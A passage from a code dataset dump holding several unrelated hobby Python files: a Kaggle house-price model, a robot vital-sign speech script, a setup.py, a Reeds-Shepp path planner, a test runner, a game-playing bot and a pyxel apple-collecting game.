diffrent methods for picking columns ######\r\n#handling with null values\r\n\r\nfg=df.isnull().sum()\r\nfg=fg.sort_values(ascending=False)\r\nfg=fg[fg!=0]\r\n#chacking about the pool\r\npool=df[df[d_c[72]].isnull()==False]\r\npool.SalePrice.mean()\r\ndiffrence=pool.SalePrice.mean()-df.SalePrice.mean()\r\ndf[df.SalePrice>pool.SalePrice.mean()]\r\n#\r\n\r\ntr=list(df.groupby(d_c[40]).count().index)\r\ntr1={tr[0]:5,tr[2]:4,tr[4]:3,tr[1]:2,tr[3]:1}\r\ndf[d_c[40]]=df[d_c[40]].map(tr1)\r\ndf[d_c[40]].fillna(0)\r\n\r\ndf_cat=df.select_dtypes(include=['object'])\r\n#\"HouseP - גיליון1.csv\" is a file i try to understand the significat of each column\r\nmy_excel=pd.read_csv(\"HouseP - גיליון1.csv\")\r\ntemp=[]\r\nfor i in list(my_excel['Variable']):\r\n temp.append(i[:-2])\r\nmy_excel['Variable']=temp\r\n\r\n\r\ntemp=my_excel.loc[my_excel['Conclusion']=='H']\r\nmy_excel.loc[my_excel['Conclusion']=='H/M']\r\nh=df[temp['Variable']]\r\nh=pd.concat([h,pd.DataFrame(df['SalePrice'])],axis=1)\r\n\r\n#mapping h Data frame transfer from catgotrical to numeric\r\ntr2=list(df.groupby(d_c[16]).count().index)\r\n#mapping HeatingQC\r\nh[d_c[40]]=h[d_c[40]].map(tr1)\r\n#\"\"\"\"\" ExterQual\r\nh[d_c[27]]=h[d_c[27]].map(tr1)\r\n#\"\"\"\"\"\" BsmtQual\r\nh[d_c[30]]=h[d_c[30]].map(tr1)\r\nh[d_c[30]]=h[d_c[30]].fillna(0)\r\n#\"\"\"\"\"\" PoolQC\r\nh[d_c[72]]=h[d_c[72]].map(tr1)\r\nh[d_c[72]]=h[d_c[72]].fillna(0)\r\n\r\n#\r\nh.select_dtypes(include=['object'])\r\n# mapping CentralAir\r\nh[d_c[41]]=pd.get_dummies(h[d_c[41]])\r\n#mapping 'HouseStyle'\r\ner=list(h.groupby(d_c[16]).SalePrice.mean().sort_values().index)\r\naw={er[0]:0,er[1]:1,er[2]:2,er[3]:3,er[4]:4,er[5]:5,er[6]:6,er[7]:7}\r\nh[d_c[16]]=h[d_c[16]].map(aw)\r\n\r\n#mapping 'GarageFinish'\r\ntr3=list(df.groupby(d_c[60]).count().index)\r\ndc_tr3={tr3[0]:4,tr3[1]:3,tr3[2]:2}\r\nh[d_c[60]]=h[d_c[60]].fillna(1)\r\nh[d_c[60]]=h[d_c[60]].map(dc_tr3)\r\n\r\n#mapping Electrical\r\ner1=list(h.groupby(d_c[42]).SalePrice.mean().sort_values().index)\r\ndc_er1={er1[0]:1,er1[1]:2,er1[2]:3,er1[3]:4,er1[4]:5}\r\nh[d_c[42]]=h[d_c[42]].map(dc_er1)\r\nh[d_c[42]]=h[d_c[42]].fillna(0)\r\n## ========================================================\r\ndf[df[d_c[59]].isnull()==True]\r\n\r\n#try to predict\r\ny=h.SalePrice\r\nh=h.drop(columns=d_c[72])\r\nregr = RandomForestRegressor()\r\nregr.fit(h,y) \r\n\r\n\r\n\r\nh.isnull().sum()\r\nyp=pd.read_csv(\"test.csv\")\r\nyp=yp.Id\r\ny_predict=pd.DataFrame(regr.predict(test_df))\r\ntest_df=pd.concat([yp,y_predict],axis=1)\r\n\r\ntest_df=pd.read_csv(\"test.csv\")\r\ntest_df=test_df[h.columns]\r\n\r\ntest_df.isnull().sum()\r\ntest_df['TotalBsmtSF']=test_df['TotalBsmtSF'].fillna(0)\r\n\r\n\r\ntest_df.rename(columns={0:'SalePrice'},inplace=True)\r\ntest_df.to_csv(\"yPredict.csv\",index=False)\r\n\r\n\r\n#mapping h Data frame transfer from catgotrical to numeric\r\ntr2=list(df.groupby(d_c[16]).count().index)\r\n#mapping HeatingQC\r\ntest_df[d_c[40]]=test_df[d_c[40]].map(tr1)\r\n#\"\"\"\"\" ExterQual\r\ntest_df[d_c[27]]=test_df[d_c[27]].map(tr1)\r\n#\"\"\"\"\"\" BsmtQual\r\ntest_df[d_c[30]]=test_df[d_c[30]].map(tr1)\r\ntest_df[d_c[30]]=test_df[d_c[30]].fillna(0)\r\n#\"\"\"\"\"\" PoolQC\r\n\r\n#\r\nh.select_dtypes(include=['object'])\r\n# mapping CentralAir\r\ntest_df[d_c[41]]=pd.get_dummies(test_df[d_c[41]])\r\n#mapping 'HouseStyle'\r\ner=list(h.groupby(d_c[16]).SalePrice.mean().sort_values().index)\r\naw={er[0]:0,er[1]:1,er[2]:2,er[3]:3,er[4]:4,er[5]:5,er[6]:6,er[7]:7}\r\ntest_df[d_c[16]]=test_df[d_c[16]].map(aw)\r\n\r\n#mapping 'GarageFinish'\r\ntr3=list(df.groupby(d_c[60]).count().index)\r\ndc_tr3={tr3[0]:4,tr3[1]:3,tr3[2]:2}\r\ntest_df[d_c[60]]=test_df[d_c[60]].fillna(1)\r\ntest_df[d_c[60]]=test_df[d_c[60]].map(dc_tr3)\r\n\r\n#mapping Electrical\r\ner1=list(h.groupby(d_c[42]).SalePrice.mean().sort_values().index)\r\ndc_er1={er1[0]:1,er1[1]:2,er1[2]:3,er1[3]:4,er1[4]:5}\r\ntest_df[d_c[42]]=test_df[d_c[42]].map(dc_er1)\r\ntest_df[d_c[42]]=test_df[d_c[42]].fillna(0)\r\n\r\n\r\n\r\nplt.figure(figsize = (9, 5)) \r\ndf['SalePrice'].plot(kind =\"hist\") ","sub_path":"Kaggle -house prices/HousePrice.py","file_name":"HousePrice.py","file_ext":"py","file_size_in_byte":6348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"553203676","text":"#!/usr/bin/ python\n# -✳- coding: utf-8 -✳-\nimport json\nimport requests\nimport urllib\nimport os\nimport sys\nimport sqlite3\nimport subprocess\nfrom fluent import sender\nfrom fluent import event\n\n# create json type text\n#url = u'http://192.168.11.154:3000/latest'\n#readObj = urllib.urlopen(url);\n#response = readObj.read()\n#print response\n#data = json.loads(response)\n#response = json.dumps(r.json(), sort_keys=True, indent=2)\n#breath = data['breath']\n#heart = data['heart']\n#temps = data['temperature']\n\n#print breath\n#print heart\n#print temps\n#humanTemp = 0\n#for temp in temps:\n# humanTemp += temp\n#humanTemp = humanTemp/16\n\n#text = u'今日の体温は%d度です.心拍数は%dで呼吸数は%dです.' %(humanTemp, heart, breath)\n#print text\n\nif __name__=='__main__':\n # get the user id from the JSON file\n args = sys.argv\n jsonFile = open(args[1], 'r')\n jsonData = json.load(jsonFile)\n # sys.stderr.write( ( str(json.dumps(jsonData, sort_keys = True, indent=4))) )\n text = u''\n microKey = 'forMerge.room.001.robo.001.microsensor.data'\n tempsKey = 'forMerge.room.001.robo.001.d6t44l06.data'\n faceKey = 'forMerge.room.001.robo.001.camera.registered.center'\n breath = -1\n heart = -1\n humanTemp = -1.0\n userid = 999\n \n # get the user info from the JSON file\n if faceKey in jsonData:\n userid = int(jsonData[faceKey]['userid'])\n joyEmo = int(jsonData[faceKey]['joyEmo'])\n # sys.stderr.write(str(userid))\n\n # get the additional user info from user.db\n # here, get the user's name\n con = sqlite3.connect(\"/root/Mimamori/hvc-p2-sample/code/user.db\")\n con.row_factory = sqlite3.Row\n cur = con.cursor()\n cur.execute(\"select name from users where id = ?;\", str(userid))\n count = 0\n username = ''\n for row in cur:\n username = row['name']\n count = count + 1\n if count > 0:\n text = text + u'こんにちは%sさん.' %(username)\n else:\n text = text + u'はじめまして.'\n\n \n # get the vital data from the jsonFile\n if tempsKey in jsonData:\n if 'sensor_data' in jsonData[tempKey]:\n temps = jsonData[tempsKey]['sensor_data']\n humanTemp = float(0.0)\n count = 0\n for temp in temps:\n if temp > 31.0:\n humanTemp += float(temp)\n count += 1\n humanTemp = humanTemp/count\n text = text + u'体温は%d度です.' %(humanTemp)\n # sys.stderr.write(str(humanTemp))\n if microKey in jsonData:\n if 'breath' in jsonData[microKey]:\n breath = int(jsonData[microKey]['breath'])\n if 'heart' in jsonData[microKey]:\n heart = int(jsonData[microKey]['heart'])\n text = text + u'心拍数は%dで.呼吸数は%dです.' %(heart, breath)\n # sys.stderr.write(str(humanTemp))\n # sys.stderr.write(str(breath))\n \n # sys.stderr.write(text)\n # let the machine speak\n # commandText = u'/root/AquesTalkPi \\\"%s\\\" | aplay -Dhw:1,0' %(text)\n # subprocess.call(commandText, shell=True)\n commandText = u'echo %s >> /var/log/fluentd/speakText/text.txt' %(text)\n subprocess.call(commandText, shell=True)\n jsonFile.close\n sender.setup('speakText',host='localhost', port=24224)\n event.Event('vital', { \n 'breath': breath,\n 'heart': heart,\n 'temp': humanTemp,\n 'text': text })\n","sub_path":"Speaker/createText.py","file_name":"createText.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"459723559","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*\n\nimport os\n\nfrom setuptools import find_packages, setup\n\n# allow setup.py to be run from any path\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nwith open('requirements.txt') as f:\n install_requires = f.read().splitlines()\n install_requires = [i for i in install_requires if '://' not in i]\n\nVERSION = '0.0.0.DEV0'\n\nsetup(\n name='mario',\n version=VERSION,\n packages=find_packages(exclude=('tests', )),\n entry_points={\n 'console_scripts': []\n },\n include_package_data=True,\n zip_safe=False,\n description='Pandas pipelines for scikit-learn',\n author='Igor Gotlibovych',\n author_email='igor.gotlibovych@gmail.com',\n license='MIT',\n install_requires=install_requires,\n extras_require={},\n classifiers=[\n 'Intended Audience :: Developers',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"602274946","text":"\n\n\nfrom __future__ import division\nimport matplotlib.pyplot as plt\nimport math as m\nimport numpy as np\nimport random\n\n\"\"\"\nREFERENCES:\nFOR INTERSECTING POINTS BETWEEN TWO CIRCLES:\nhttps://stackoverflow.com/questions/3349125/circle-circle-intersection-points\nDUBINS CURVE:\nhttps://gieseanw.files.wordpress.com/2012/10/dubins.pdf\n\"\"\"\ndef wrapToPi(theta):\n return(m.atan2(m.sin(theta),m.cos(theta)))\n\ndef fcp(pose):\n off = 2.33 #which is the minimum turning radius\n x = pose[0]\n y = pose[1]\n theta = pose[2]\n\n angle_L = wrapToPi(theta + m.pi/2)\n angle_R = wrapToPi(theta - m.pi/2)\n\n center_L = [x + off*m.cos(angle_L),y + off*m.sin(angle_L)]\n center_R = [x + off*m.cos(angle_R),y + off*m.sin(angle_R)]\n\n return(center_L,center_R)\n\ndef draw_circles(pose):\n center_L, center_R = fcp(pose)\n L1 = plt.Circle((center_L[0], center_L[1]), 2.33, color='m', fill=False)\n R1 = plt.Circle((center_R[0], center_R[1]), 2.33, color='b', fill=False)\n # plt.gca().add_patch(L1)\n # plt.gca().add_patch(R1)\n return(center_L,center_R)\n\ndef find_tangents(C1, C2, dir1, dir2):\n INNER_TANGENTS = True\n tangent_pts1 = []\n tangent_pts2 = []\n start = C1\n goal = C2\n x1,y1 = start\n x2,y2 = goal\n r1 = 2.33\n r2 = 2.33\n #####################################\n # INNER TANGENTS\n #####################################\n #NEED TO CHECK IF INNER TANGENTS EXIST OR NOT\n print(m.sqrt((x1-x2)**2 + (y1-y2)**2))\n if m.sqrt((x1-x2)**2 + (y1-y2)**2) > (r1+r2):\n print(\"[INFO] Inner tangents exist\")\n #find the circle centered between two points (Circle 3)\n x3 = (start[0] + goal[0])/2\n y3 = (start[1] + goal[1])/2\n r3 = m.sqrt((start[0]-goal[0])**2 + (start[1] - goal[1])**2)/2\n C3 = plt.Circle((x3, y3), r3, color='k', fill = False)\n # plt.gca().add_patch(C3)\n\n #find the circle centered centered at start and with radius r1 + r2\n x4 = start[0]\n y4 = start[1]\n r4 = 2.33*2\n C4 = plt.Circle((x4, y4), r4, color='g', fill = False)\n # plt.gca().add_patch(C4)\n\n #find the intersection between C3 and C4\n d = m.sqrt((x3-x4)**2 + (y3-y4)**2)\n a = (r4**2 - r3**2 + d**2)/(2*d)\n h = m.sqrt(r4**2 - a**2)\n ang = m.atan2((y3-y4),(x3-x4))\n x_m = x4 + a*m.cos(ang)\n y_m = y4 + a*m.sin(ang)\n ang_perp1 = wrapToPi(ang + m.pi/2)\n ang_perp2 = wrapToPi(ang - m.pi/2)\n x_int1 = x_m + h*m.cos(ang_perp1)\n y_int1 = y_m + h*m.sin(ang_perp1)\n x_int2 = x_m + h*m.cos(ang_perp2)\n y_int2 = y_m + h*m.sin(ang_perp2)\n\n # plt.plot(x_int1,y_int1,'co')\n # plt.plot(x_int2,y_int2,'co')\n \"\"\"\n first intersection point calc\n \"\"\"\n #find angle towards to the x_int1 and y_int1\n ang = m.atan2((y_int1-y4),(x_int1-x4))\n x_t1 = x4 + 2.33*m.cos(ang)\n y_t1 = y4 + 2.33*m.sin(ang)\n\n #find the inner point on the next circle C2\n mag = m.sqrt((x_int1-x2)**2 + (y_int1-y2)**2)\n dir = m.atan2((y2-y_int1),(x2-x_int1))\n x_t11 = x_t1 + mag*m.cos(dir)\n y_t11 = y_t1 + mag*m.sin(dir)\n\n \"\"\"\n second intersection point calc\n \"\"\"\n #find angle towards to the x_int2 and y_int2\n ang = m.atan2((y_int2-y4),(x_int2-x4))\n x_t2 = x4 + 2.33*m.cos(ang)\n y_t2 = y4 + 2.33*m.sin(ang)\n\n #find the inner point on the next circle C2\n mag = m.sqrt((x_int2-x2)**2 + (y_int2-y2)**2)\n dir = m.atan2((y2-y_int2),(x2-x_int2))\n x_t22 = x_t2 + mag*m.cos(dir)\n y_t22 = y_t2 + mag*m.sin(dir)\n\n\n if dir1 == \"right\" and dir2 == \"left\":\n # plt.plot([x4, x_t1],[y4, y_t1])\n tangent_pts1.append([x_t1,y_t1])\n # plt.plot([x_t1,x_t11],[y_t1,y_t11])\n tangent_pts2.append([x_t11,y_t11])\n if dir1 == \"left\" and dir2 == \"right\":\n # plt.plot([x4, x_t2],[y4, y_t2])\n tangent_pts1.append([x_t2, y_t2])\n # plt.plot([x_t2,x_t22],[y_t2,y_t22])\n tangent_pts2.append([x_t22, y_t22])\n\n\n else:\n print(\"[INFO] Inner tangents dont exist\")\n INNER_TANGENTS = False\n\n #####################################\n # OUTER TANGENTS\n #####################################\n #since the circles are of same radius we can use simplications\n #begin by finding angle of the line conecting theie centers\n ang = m.atan2((y2-y1),(x2-x1))\n ang1 = wrapToPi(ang + m.pi/2)\n ang2 = wrapToPi(ang - m.pi/2)\n x_out11 = x1 + r1*m.cos(ang1)\n y_out11 = y1 + r1*m.sin(ang1)\n\n x_out12 = x1 + r1*m.cos(ang2)\n y_out12 = y1 + r1*m.sin(ang2)\n\n x_out21 = x2 + r2*m.cos(ang1)\n y_out21 = y2 + r2*m.sin(ang1)\n\n x_out22 = x2 + r2*m.cos(ang2)\n y_out22 = y2 + r2*m.sin(ang2)\n\n if (dir1 == \"right\" and dir2 == \"right\") or INNER_TANGENTS==False:\n tangent_pts1.append([x_out11, y_out11])\n tangent_pts2.append([x_out21, y_out21])\n # plt.plot([x_out11, x_out21],[y_out11, y_out21])\n if (dir1 == \"left\" and dir2 == \"left\") or INNER_TANGENTS==False:\n tangent_pts1 = []\n tangent_pts2 = []\n tangent_pts1.append([x_out12, y_out12])\n tangent_pts2.append([x_out22, y_out22])\n # plt.plot([x_out12, x_out22],[y_out12, y_out22])\n\n\n\n return(tangent_pts1, tangent_pts2)\n\n\ndef RSP(start,goal,dir1,dir2):\n # start = [0,0,0]\n # goal = [5,5,m.pi/2]\n #\n # start = [random.uniform(1,9),random.uniform(1,9),random.uniform(-m.pi/2,m.pi/2)]\n # goal = [random.uniform(1,9),random.uniform(1,9),random.uniform(-m.pi/2,m.pi/2)]\n\n # plt.axis('scaled')\n # plt.xlim(-20,20)\n # plt.ylim(-20,20)\n # plt.arrow(start[0],start[1],2*m.cos(start[2]),2*m.sin(start[2]),color='g',head_width=0.5, head_length=1)\n # plt.arrow(goal[0],goal[1],2*m.cos(goal[2]),2*m.sin(goal[2]),color='r',head_width=0.5, head_length=1)\n\n #find the center point of the circle to be drawn both left and right\n cs_L, cs_R = draw_circles(start)\n cg_L, cg_R = draw_circles(goal)\n\n # dir1 = 'right'\n # dir2 = 'right'\n plt.title(dir1 + \" | \" + dir2)\n\n if dir1 == \"left\":\n cs = cs_L\n else:\n cs = cs_R\n\n if dir2 == \"left\":\n cg = cg_L\n else:\n cg = cg_R\n\n tangent_pts1, tangent_pts2 = find_tangents(cs, cg,dir1,dir2)\n tangent_pts1 = np.array(tangent_pts1).ravel()\n tangent_pts2 = np.array(tangent_pts2).ravel()\n print(\"target_points: {} | {}\".format(tangent_pts1, tangent_pts2))\n\n\n\n #Now to find the best path we will have to do optimization , but for now we can take one of the CSC or CCC paths\n # and find output the final path using RSL trajectory\n\n #################################\n # FINDING PATH\n #################################\n x_traj = [start[0]]\n y_traj = [start[1]]\n xc1 = cs[0]\n yc1 = cs[1]\n xc2 = cg[0]\n yc2 = cg[1]\n r = 2.33\n \"\"\"\n THIS IS WHERE THE ACTUAL PATH IS BEING FOUND\n IF WE CAN CHANGE THIS CODE A LITTLE THEN WE CAN GET AWAY FROM TURNING ALL THE WAY\n IT WON'T BE A PERFECT IMPLEMENTATION OF REEDS SHEPP, BUT IT WILL BE BETTER THAN DUBINS\n \"\"\"\n \"\"\"\n FIRST CURVED PORTION\n \"\"\"\n target_angle = m.atan2(tangent_pts1[1]-yc1, tangent_pts1[0]-xc1)\n current_theta = m.atan2(y_traj[-1]-yc1, x_traj[-1]-xc1)\n decision_angle = wrapToPi(target_angle - current_theta) #basically if this is positive than the robot has to turn anticlockwise else clockwise\n if decision_angle > 0:\n sign = 1\n else:\n sign = -1\n\n while abs(wrapToPi(current_theta - target_angle))>0.1:\n xval = xc1 + r*m.cos(current_theta)\n yval = yc1 + r*m.sin(current_theta)\n current_theta += sign*0.1\n current_theta = wrapToPi(current_theta)\n # plt.plot(xval, yval,'c.')\n # print(xval, yval)\n x_traj.append(xval)\n y_traj.append(yval)\n\n\n \"\"\"\n STRAIGHT PORTION\n \"\"\"\n x = x_traj[-1]\n y = y_traj[-1]\n x_target, y_target = tangent_pts2\n x_line1, y_line1 = tangent_pts1\n\n dist = m.sqrt((x-x_target)**2 + (y - y_target)**2)\n theta_stride = m.atan2((y_target - y_line1),(x_target - x_line1))\n\n while dist > 0.05:\n # plt.plot(x, y, 'c.')\n x = x + 0.01*m.cos(theta_stride)\n y = y + 0.01*m.sin(theta_stride)\n x_traj.append(x)\n y_traj.append(y)\n dist = m.sqrt((x-x_target)**2 + (y - y_target)**2)\n\n \"\"\"\n LAST CURVED PORTION\n \"\"\"\n target_angle = m.atan2(goal[1]-yc2, goal[0]-xc2)\n current_theta = m.atan2(y_traj[-1]-yc2, x_traj[-1]-xc2)\n decision_angle = wrapToPi(target_angle - current_theta)\n if decision_angle > 0:\n sign = 1\n else:\n sign = -1\n while abs(wrapToPi(current_theta - target_angle))>0.1:\n xval = xc2 + r*m.cos(current_theta)\n yval = yc2 + r*m.sin(current_theta)\n current_theta += sign*0.1\n current_theta = wrapToPi(current_theta)\n # plt.plot(xval, yval,'c.')\n # print(xval, yval)\n x_traj.append(xval)\n y_traj.append(yval)\n return(x_traj, y_traj)\n","sub_path":"ReedsShepp_planner/reeds_shepp_planner_function.py","file_name":"reeds_shepp_planner_function.py","file_ext":"py","file_size_in_byte":9076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"110895898","text":"# coding:utf-8\nimport unittest\nfrom common import HTMLTestRunner\n#待执行用例的目录\ncasePath = \"D:\\\\Testing tools\\\\muke\\\\AutoTest\\\\auto_python\\\\POI\\\\testcase\"\n\n#dixcover方法刷选出来的用例,循环添加到测试套件中\ndiscover = unittest.defaultTestLoader.discover(casePath, \"test*.py\")\nprint(discover)\n\n# runner = unittest.TextTestRunner()\n# runner.run(discover)\n\n#报告路径\nreportPath = \"D:\\\\Testing tools\\\\muke\\\\AutoTest\\\\auto_python\\\\POI\\\\report\\\\\"+\"result.html\"\nfp = open(reportPath,\"wb\")\nrunner = HTMLTestRunner.HTMLTestRunner(fp,verbosity=2,title=\"接口测试报告\",description=\"POI模拟测试报告\")\nrunner.run(discover)\nfp.close()\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"auto_python/POI/run_main.py","file_name":"run_main.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"401587945","text":"import numpy as np\n\nTEAM_NAME = \"a why\"\nMEMBERS = [\"md9bt\", \"lc3am\", \"jhr3kd\"]\nrt = []\nnum_rounds = 0\noutcomes = []\nmax_len_vert = 0\n\n\ndef getcol(state):\n global max_len_vert\n max_len_vert = 0\n rtn_col = -1\n for column in range(len(state[\"board\"])):\n len_vert = 0\n for token in range(len(state[\"board\"][column])):\n if state[\"board\"][column][token] != state[\"your-token\"]:\n len_vert = 0\n else:\n len_vert += 1\n if len_vert > max_len_vert:\n max_len_vert = len_vert\n rtn_col = column\n # if multiple columns have the longest vertical distance, pick one at random to build on\n # ha ha suckers just try to block us\n if len_vert == max_len_vert:\n coin_toss = np.random.random_integers(0,1)\n if coin_toss == 1:\n max_len_vert = len_vert\n rtn_col = column\n if rtn_col == -1: # if there is no vertical to build off of\n rtn_col = np.random.random_integers(0, state[\"columns\"])\n return rtn_col\n\n\ndef getoppcol(state):\n rtn_col = -1\n # try adding opponent's token to each column on the board\n # see if they have connect-n, if they do, put your token where they would need to\n if state[\"your-token\"] == \"R\":\n oppToken = \"Y\"\n else:\n oppToken = \"R\"\n for column in range(len(state[\"board\"])):\n # add opponent token\n state[\"board\"][column].append(oppToken)\n # check for vertical connect-n\n len_vert = 0\n for token in range(len(state[\"board\"][column])):\n if state[\"board\"][column][token] == state[\"your-token\"]:\n len_vert = 0\n else:\n len_vert += 1\n if len_vert >= state[\"connect_n\"]:\n rtn_col = column\n # remove opponent token, last in the list, before considering next scenario\n state[\"board\"][column].pop(-1)\n\n for column in range(len(state[\"board\"])):\n # add opponent token\n state[\"board\"][column].append(oppToken)\n # check for horizontal connect-n\n len_hor = 0\n for row in range(len(max(state[\"board\"], key=len))):\n for c in range(len(state[\"board\"])):\n try:\n if state[\"board\"][c][row] == state[\"your-token\"]:\n len_hor = 0\n else:\n len_hor += 1\n except:\n len_hor = 0\n if len_hor >= state[\"connect_n\"]:\n rtn_col = column\n # remove opponent token, last in the list, before considering next scenario\n state[\"board\"][column].pop(-1)\n return rtn_col\n\n\ndef get_move(state):\n global rt\n global num_rounds\n global outcomes\n # code for the chicken game\n if state[\"game\"] == \"chicken\":\n if float(state[\"reaction-time\"]) == 0: # indicates new distribution; clear global vars\n rt.clear()\n outcomes.clear()\n num_rounds = 0\n when_to_swerve = 6\n else: # otherwise, learn about distribution to inform rt\n rt.append(float(state[\"reaction-time\"]))\n outcomes.append(float(state[\"outcome\"]))\n num_rounds += 1\n avg = np.average(rt)\n sd = np.std(rt)\n if num_rounds < 4:\n when_to_swerve = avg + 4\n else:\n multiplier = 2\n if outcomes[-1] == -1 and outcomes[-2] == -1 and outcomes[-3] == -1:\n multiplier = 1\n if outcomes[-1] == -10:\n multiplier = 2.5\n when_to_swerve = avg + (multiplier * sd)\n if when_to_swerve > 10: # never return more than 10\n when_to_swerve = 10\n return when_to_swerve\n\n # code for the connect more game\n else:\n col_defense = getoppcol(state) # priority: blocks horizontal and vertical connect-ns by the other team\n if col_defense != -1:\n return col_defense\n\n # some situations for early game play if not in immediate danger of losing\n if np.size(state[\"board\"]) == 0: # tries center column if board is empty\n return state[\"columns\"] // 2\n if np.size(state[\"board\"]) == 1:\n for column in range(len(state[\"board\"])):\n if len(state[\"board\"][column]) > 0:\n if (column-1) < 0:\n return column+1\n if (column+1) >= len(state[\"board\"]):\n return column-1 # puts something to left or right of first move\n a = state[\"board\"]\n count = 0\n for list in a:\n for elem in list:\n count += 1\n if count <= 8: # in early moves, places in variety of columns\n return np.random.random_integers(0, state[\"columns\"]-1)\n\n col_offense = getcol(state)\n return col_offense # finds column with highest vertical, and builds up on that\n\n\nstate = {\n \"game\": \"connect_more\",\n \"opponent-name\": \"mighty_ducks\",\n \"columns\": 6,\n \"connect_n\": 5,\n \"your-token\": \"R\",\n \"board\": [\n [\"Y\", \"Y\"],\n [\"Y\"],\n [\"Y\"],\n [\"R\", \"Y\"],\n [\"R\",\"Y\"],\n [\"Y\"],\n ]\n}\n\nprint(get_move(state))","sub_path":"hw3/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":5433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"476663937","text":"'''\r\n\r\nApple Picker! A game by Will Larson\r\nCurrent Version: 2.2\r\n- added flashing animation\r\n- made sure the bad apples don't spawn right in front of you\r\n2.1.2\r\n- added some sounds\r\n2.1.1\r\n- Added jetpack and animation\r\n- added orange timer for golden apple message\r\n2.1\r\n- added draw_score for bad apples\r\n2.0\r\n- added golden apples\r\n1.0\r\n- added WASD key movement\r\n- changed apple hitboxes\r\n- added high score memory\r\n- added easter egg\r\n- and everything else\r\n'''\r\n\r\nimport random\r\nimport pyxel\r\nimport math as m\r\nfrom os import path\r\n\r\nWIDTH = 200\r\nHEIGHT = 160\r\nPLAYER_SPEED = 2\r\npyxel.mouse(visible=True)\r\nintro = True\r\nversion = \"2.2\"\r\n\r\nclass Player(object):\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n self.width = 13\r\n self.height = 16\r\n self.score = 0\r\n\r\nclass Apple(object):\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n\r\nclass BadApple(object):\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n self.xspeed = random.randint(1,3)\r\n self.yspeed = random.randint(1,3)\r\n\r\nclass GoldenApple(object):\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n self.xspeed = random.randint(1, 2)\r\n self.yspeed = random.randint(1, 2)\r\n\r\nclass App:\r\n def __init__(self):\r\n pyxel.init(WIDTH,HEIGHT, caption=\"Apple Picker!\", fps=30)\r\n self.player = Player(WIDTH/2, 4*HEIGHT/5)\r\n self.applelist = []\r\n self.badapplelist = []\r\n self.goldenapplelist = []\r\n self.totalapples = 0\r\n self.totalgoldenapples = 0\r\n self.totalbadapples = 0\r\n self.maxapple = 0\r\n self.caneat = False\r\n pyxel.load(\"my_resource.pyxel\")\r\n\r\n # loading high score\r\n self.dir = path.dirname(__file__)\r\n with open(path.join(self.dir, \"applepickerhs\"), 'r') as f:\r\n try:\r\n self.highscore = int(f.read())\r\n except:\r\n self.highscore = 0\r\n\r\n # easter egg\r\n r = random.randint(1,2)\r\n if r == 1:\r\n self.race = False\r\n if r == 2:\r\n self.race = True\r\n\r\n self.facingright = True\r\n self.flying = False\r\n self.atebadapple = False\r\n pyxel.run(self.update,self.draw)\r\n\r\n def spawn_apple(self):\r\n if not self.applelist:\r\n self.applelist.append(Apple(random.randint(2, WIDTH - 5), random.randint(10, HEIGHT - 6)))\r\n\r\n def spawn_bad_apple(self):\r\n if len(self.badapplelist) < self.maxapple:\r\n b = random.randint(0,100)\r\n if b in range(0,1):\r\n bax = random.randint(2, WIDTH - 5)\r\n bay = random.randint(10, HEIGHT - 6)\r\n if m.sqrt((self.player.x - bax)**2 + (self.player.y - bay)**2) > 40:\r\n self.badapplelist.append(BadApple(bax, bay))\r\n\r\n def spawn_golden_apple(self):\r\n if self.player.score > 0:\r\n if not self.goldenapplelist:\r\n c = random.randint(0,1000)\r\n if c in range(0,m.floor((m.log(self.player.score**2))/3)):\r\n self.goldenapplelist.append(GoldenApple(random.randint(2, WIDTH - 5), random.randint(10, HEIGHT - 6)))\r\n self.goldennow = pyxel.frame_count\r\n\r\n def draw_player(self):\r\n # Draw the player\r\n if not self.race:\r\n if self.flying:\r\n if self.facingright:\r\n pyxel.blt(self.player.x, self.player.y, 1, 16, 0, self.player.width, self.player.height, 7)\r\n if not self.facingright:\r\n pyxel.blt(self.player.x, self.player.y, 1, 16, 0, -self.player.width, self.player.height, 7)\r\n if not self.flying:\r\n if self.facingright:\r\n pyxel.blt(self.player.x, self.player.y, 1, 27, 16, self.player.width,self.player.height, 7)\r\n if not self.facingright:\r\n pyxel.blt(self.player.x, self.player.y, 1, 27, 16, -self.player.width, self.player.height, 7)\r\n if self.race:\r\n if self.flying:\r\n if self.facingright:\r\n pyxel.blt(self.player.x, self.player.y, 1, 0, 16, self.player.width, self.player.height, 0)\r\n if not self.facingright:\r\n pyxel.blt(self.player.x, self.player.y, 1, 0, 16, -self.player.width, self.player.height, 0)\r\n if not self.flying:\r\n if self.facingright:\r\n pyxel.blt(self.player.x, self.player.y, 1, 14, 16, self.player.width, self.player.height, 0)\r\n if not self.facingright:\r\n pyxel.blt(self.player.x, self.player.y, 1, 14, 16, -self.player.width, self.player.height, 0)\r\n\r\n def draw_apple(self):\r\n # draw the apples\r\n for apple in self.applelist:\r\n pyxel.blt(apple.x,apple.y, 1, 29, 0, 5, 7, 0)\r\n\r\n def draw_bad_apple(self):\r\n # draw the bad apples\r\n for badapple in self.badapplelist:\r\n pyxel.blt(badapple.x,badapple.y, 1, 29, 8, 5, 7, 0)\r\n\r\n def draw_golden_apple(self):\r\n # draw the golden apples\r\n for goldenapple in 